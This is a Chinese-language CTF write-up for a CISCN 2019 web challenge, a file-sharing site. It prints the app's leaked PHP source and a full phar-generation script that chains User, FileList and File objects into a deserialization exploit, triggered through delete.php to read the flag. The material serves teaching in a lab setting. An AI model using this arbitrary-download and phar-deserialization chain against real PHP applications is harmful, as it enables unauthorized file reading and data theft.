ciscn2019華北賽區半決賽day1_web1題解

感謝buuoj的大佬們搭建的復現環境。作為一位CTF的初學者，我會把每個題目的writeup都寫的盡量詳細，希望能幫到后面的初學者。

http://web42.buuoj.cn

文章會不定時繼續完善，完善內容可能包括分析的錯誤、語病和文章結構等。

復現過程

進入解題頁面發現需要登錄，這里只需要注冊一個賬號然后登錄即可。

登錄以后是一個網盤的頁面，最開始只有上傳功能，並且只能上傳png,jpg等圖片格式。

隨便上傳一個符合要求的文件，發現可以對其進行下載和刪除。通過抓下載的包發現，該處存在一個任意文件下載的漏洞，可以下載源碼。

利用該漏洞下載download.php,delete.php以及其需要包含的class.php的內容。

<?php
#download.php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

<?php
#delete.php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

<?php
#class.php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

注意到File類中的close方法執行時會獲得文件的內容，如果能觸發該方法，就有機會得到flag。

運行如下PHP文件，生成一個phar文件，更改后綴名為png進行上傳。
（具體原理見下文的原理分析）

<?php

class User {
    public $db;
}

class File {
    public $filename;
}
class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct() {
        $file = new File();
        $file->filename = '/flag.txt';
        $this->files = array($file);
        $this->results = array();
        $this->funcs = array();
    }
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后綴名必須為phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub

$o = new User();
$o->db = new FileList();

$phar->setMetadata($o); //將自定義的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要壓縮的文件
//簽名自動計算
$phar->stopBuffering();
?>

在刪除時使用burpsite抓包，修改參數，即可得到flag。

原理及源碼分析

分析download.php的核心源碼可以發現，該文件只有很常規的下載文件操作，並且限制了不能下載文件名中帶有flag的文件。

<?php
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    #省略一些代碼
    echo $file->close();
} else {
    echo "File not exist";
}
?>

接着分析delete.php的代碼。

<?php
include "class.php";
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

單獨看這段代碼沒有發現可以利用的地方，這段代碼的作用只是返回一個成功或失敗的消息。

接着分析class.php。

這個文件中定義了用戶和文件相關的類。

<?php
#代碼精簡一下
class File {
    public $filename;

    public function close() {
        return file_get_contents($this->filename);
    }
}
class User {
    public $db;
    public function __destruct() {
        $this->db->close();
    }
}
class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }
    public function __destruct() {
        #省略了一些影響閱讀的table創建代碼
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '</tr>';
        }
        echo $table;
    }
}
?>

File類中的close方法會獲取文件內容，如果能觸發該方法，就有可能獲取flag。

User類中存在close方法，並且該方法在對象銷毀時執行。

同時FileList類中存在call魔術方法，並且類沒有close方法。如果一個Filelist對象調用了close()方法，根據call方法的代碼可以知道，文件的close方法會被執行，就可能拿到flag。

根據以上三條線索，梳理一下可以得出結論:

如果能創建一個user的對象，其db變量是一個FileList對象，對象中的文件名為flag的位置。這樣的話，當user對象銷毀時，db變量的close方法被執行；而db變量沒有close方法，這樣就會觸發call魔術方法，進而變成了執行File對象的close方法。通過分析FileList類的析構方法可以知道，close方法執行后存在results變量里的結果會加入到table變量中被打印出來，也就是flag會被打印出來。

想實現上述想法，可以借助phar的偽協議。有一篇文章對phar偽協議的利用講的很好，可以參考如下鏈接：

https://xz.aliyun.com/t/2715

生成phar文件后在刪除的時候進行觸發即可得到flag。